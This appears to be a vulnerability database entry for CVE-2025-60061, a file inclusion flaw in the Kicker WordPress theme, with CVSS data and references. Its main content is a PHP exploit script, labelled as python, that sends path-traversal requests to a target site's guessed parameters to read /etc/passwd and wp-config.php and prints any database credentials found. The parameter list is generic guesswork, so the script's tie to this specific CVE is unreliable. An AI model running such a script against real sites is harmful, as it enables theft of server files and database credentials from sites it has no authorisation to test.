CVE-2025-60061

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Kicker kicker allows PHP Local File Inclusion.This issue affects Kicker: from n/a through <= 2.2.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:kicker:*:*:*:*:*:wordpress:*:* - VULNERABLE

Kicker WordPress主题 <= 2.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-60061 PoC - Kicker Theme LFI Vulnerability
 * Affected: Kicker WordPress Theme <= 2.2.0
 * CVSS: 8.1 (High)
 */

// Target URL (adjust to your target)
$target = 'http://target-site.com/';

// Common vulnerable parameters in Kicker theme
$vuln_params = [
    'path',
    'file',
    'page',
    'template',
    'theme',
    'style',
    'controller',
    'action',
    'mod',
    'include'
];

// Sensitive files to attempt to read
$target_files = [
    '/etc/passwd',
    '../../../../../../../etc/passwd',
    '../wp-config.php',
    '../../wp-config.php',
    '../../../wp-config.php',
    '../../../../wp-config.php',
    '../../../../../wp-config.php',
    '/var/www/html/wp-config.php',
    '/etc/hostname',
    '/etc/hosts'
];

echo "[*] CVE-2025-60061 Kicker Theme LFI PoC\n";
echo "[*] Target: $target\n\n";

foreach ($vuln_params as $param) {
    foreach ($target_files as $file) {
        $url = $target . '?' . $param . '=' . urlencode($file);
        echo "[*] Testing: $url\n";
        
        $context = stream_context_create([
            'http' => [
                'method' => 'GET',
                'timeout' => 10,
                'ignore_errors' => true
            ]
        ]);
        
        $response = @file_get_contents($url, false, $context);
        
        if ($response && (strpos($response, 'root:') !== false || strpos($response, 'DB_NAME') !== false)) {
            echo "[!] VULNERABLE! Found sensitive data in response\n";
            echo $response . "\n\n";
        }
    }
}

echo "[*] Scan complete.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60061
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60061
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60061/
[4] VulDB https://vuldb.com/cve/CVE-2025-60061
[5] https://patchstack.com/database/Wordpress/Theme/kicker/vulnerability/wordpress-kicker-theme-2-2-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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